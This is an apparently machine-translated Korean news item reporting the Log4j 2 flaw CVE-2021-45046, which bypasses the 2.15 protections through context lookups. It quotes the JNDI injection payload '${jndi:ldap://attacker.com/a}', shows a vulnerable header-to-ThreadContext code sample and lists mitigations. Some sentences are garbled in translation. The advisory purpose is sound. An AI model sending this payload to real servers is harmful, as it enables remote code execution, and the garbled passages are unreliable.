์ถ”๊ฐ€๋œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” Log4j 2์˜ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ์˜ต์…˜

Log4j 2 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(CVE-2021-45046)์˜ JNDI ์กฐํšŒ ๊ตฌํ˜„์—์„œ ๋˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์ด ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฆด๋ฆฌ์Šค 2.15์— ์ถ”๊ฐ€๋œ ์ˆ˜์ • ์‚ฌํ•ญ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ณดํ˜ธ๋ฅผ ์œ„ํ•œ "log4j2.noFormatMsgLookup" ์„ค์ • ์‚ฌ์šฉ๊ณผ ๊ด€๊ณ„์—†์ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์ฃผ๋กœ "noFormatMsgLookup" ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ณดํ˜ธ๋˜๋Š” ์ด์ „ ๋ฒ„์ „์˜ Log4j 2์—์„œ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค. ์ด์ „ ์ทจ์•ฝ์ (Log4Shell, CVE-2021-44228)์œผ๋กœ๋ถ€ํ„ฐ์˜ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์„ฌ๊ธฐ๋Š” ์‚ฌ๋žŒ. ๋ฒ„์ „ 2.15 ์‚ฌ์šฉ์ž์˜ ๊ฒฝ์šฐ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฆฌ์†Œ์Šค๊ฐ€ ๊ณ ๊ฐˆ๋˜์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ค‘๋‹จ๋˜๋Š” ์ •๋„๋กœ ์•…์šฉ์ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์ ์€ ${ctx:loginId}์™€ ๊ฐ™์€ ๋กœ๊น…์„ ์œ„ํ•ด ์ปจํ…์ŠคํŠธ ์กฐํšŒ ๋˜๋Š” %X, %mdc ๋ฐ %MDC์™€ ๊ฐ™์€ MDC ํ…œํ”Œ๋ฆฟ(์Šค๋ ˆ๋“œ ์ปจํ…์ŠคํŠธ ๋งต)์„ ์‚ฌ์šฉํ•˜๋Š” ์‹œ์Šคํ…œ์—์„œ๋งŒ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ์ž‘์—…์€ ๋กœ๊ทธ์— ๋Œ€ํ•œ ์ถœ๋ ฅ ํ˜•์‹ ์ง€์ • ๊ทœ์น™์„ ์ •์˜ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ปจํ…์ŠคํŠธ ์ฟผ๋ฆฌ ๋˜๋Š” MDC ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•  ๋•Œ JNDI ๋Œ€์ฒด๊ฐ€ ํฌํ•จ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ๊ทธ์— ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•œ ์กฐ๊ฑด์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์š”์•ฝ๋ฉ๋‹ˆ๋‹ค.

LunaSec ์—ฐ๊ตฌ์›๋“ค์€ Log4j 2.15 ๋ฏธ๋งŒ ๋ฒ„์ „์˜ ๊ฒฝ์šฐ ์ด ์ทจ์•ฝ์ ์ด Log4Shell ๊ณต๊ฒฉ์„ ์œ„ํ•œ ์ƒˆ๋กœ์šด ๋ฒกํ„ฐ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ฝ”๋“œ ์‹คํ–‰ ์—ฌ๋ถ€์— ๊ด€๊ณ„์—†์ด ์™ธ๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜๋Š” ThreadContext ํ‘œํ˜„์‹์ด ๋กœ๊ทธ ์ถœ๋ ฅ์— ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ง€์ ํ–ˆ์Šต๋‹ˆ๋‹ค. "๋ณดํ˜ธ" ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์—ˆ์Šต๋‹ˆ๋‹ค. noMsgFormatLookups" ๋˜๋Š” ํ…œํ”Œ๋ฆฟ "%m{nolookups}".

์ถ”๊ฐ€๋œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” Log4j 2์˜ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ์˜ต์…˜

๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์€ "${jndi:ldap://attacker.com/a}"๋ฅผ ์ง์ ‘ ๋Œ€์ฒดํ•˜๋Š” ๋Œ€์‹  ์ด ํ‘œํ˜„์‹์ด ๋กœ๊ทธ ์ถœ๋ ฅ ํ˜•์‹ ์ง€์ • ๊ทœ์น™์— ์‚ฌ์šฉ๋˜๋Š” ์ค‘๊ฐ„ ๋ณ€์ˆ˜์˜ ๊ฐ’์„ ํ†ตํ•ด ๋Œ€์ฒด๋œ๋‹ค๋Š” ์‚ฌ์‹ค๋กœ ๊ท€๊ฒฐ๋ฉ๋‹ˆ๋‹ค. . ์˜ˆ๋ฅผ ๋“ค์–ด, ๋กœ๊ทธ ์ถœ๋ ฅ ์‹œ ์ปจํ…์ŠคํŠธ ์ฟผ๋ฆฌ ${ctx:apiversion}์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, "${jndi:ldap://attacker.com/a}" ๋ฐ์ดํ„ฐ๋ฅผ "${jndi:ldap://attacker.com/a}"๋กœ ๋Œ€์ฒดํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. apiversion ๋ณ€์ˆ˜์— ๊ฐ’์ด ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ์ฝ”๋“œ์˜ ์˜ˆ:appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP ํ—ค๋” ๊ฐ’์ด ThreadContext์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค ThreadContext.put("apiversion ", api๋ฒ„์ „ ); // ๋กœ๊ทธ์— ์ถœ๋ ฅํ•  ๋•Œ ์™ธ๋ถ€ apiversion ๊ฐ’์€ ๋Œ€์ฒด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ${ctx:apiversion} logger.info("Received a request for API version"); "์•ˆ๋…•ํ•˜์„ธ์š”, ์„ธ๊ณ„!"๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. }

Log4j ๋ฒ„์ „ 2.15์—์„œ๋Š” ThreadContext์— ๊ฐ’์„ ์ „๋‹ฌํ•  ๋•Œ DoS ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋กœ ์ธํ•ด ์ถœ๋ ฅ ํ˜•์‹ ํ…œํ”Œ๋ฆฟ ์ฒ˜๋ฆฌ์— ๋ฃจํ”„๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ถ”๊ฐ€๋œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” Log4j 2์˜ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ์˜ต์…˜

์ทจ์•ฝ์ ์„ ์ฐจ๋‹จํ•˜๊ธฐ ์œ„ํ•ด ์—…๋ฐ์ดํŠธ 2.16 ๋ฐ 2.12.2๊ฐ€ ๊ฒŒ์‹œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Log4j 2.16 ๋ถ„๊ธฐ์—์„œ๋Š” ๋ฒ„์ „ 2.15์— ๊ตฌํ˜„๋œ ์ˆ˜์ • ์‚ฌํ•ญ๊ณผ "localhost"์— ๋Œ€ํ•œ JNDI LDAP ์š”์ฒญ ๋ฐ”์ธ๋”ฉ ์™ธ์—๋„ JNDI ๊ธฐ๋Šฅ์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ์™„์ „ํžˆ ๋น„ํ™œ์„ฑํ™”๋˜๊ณ  ๋ฉ”์‹œ์ง€ ๋Œ€์ฒด ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•œ ์ง€์›์ด ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์œผ๋กœ ํด๋ž˜์Šค ๊ฒฝ๋กœ์—์„œ JndiLookup ํด๋ž˜์Šค๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค(์˜ˆ: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class"). .

๋ฐฐํฌํŒ(Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ๋ฐ Java ํ”Œ๋žซํผ ์ œ์กฐ์—…์ฒด(GitHub, Docker, Oracle, vmWare, Broadcom ๋ฐ Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ๋“ฑ).

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€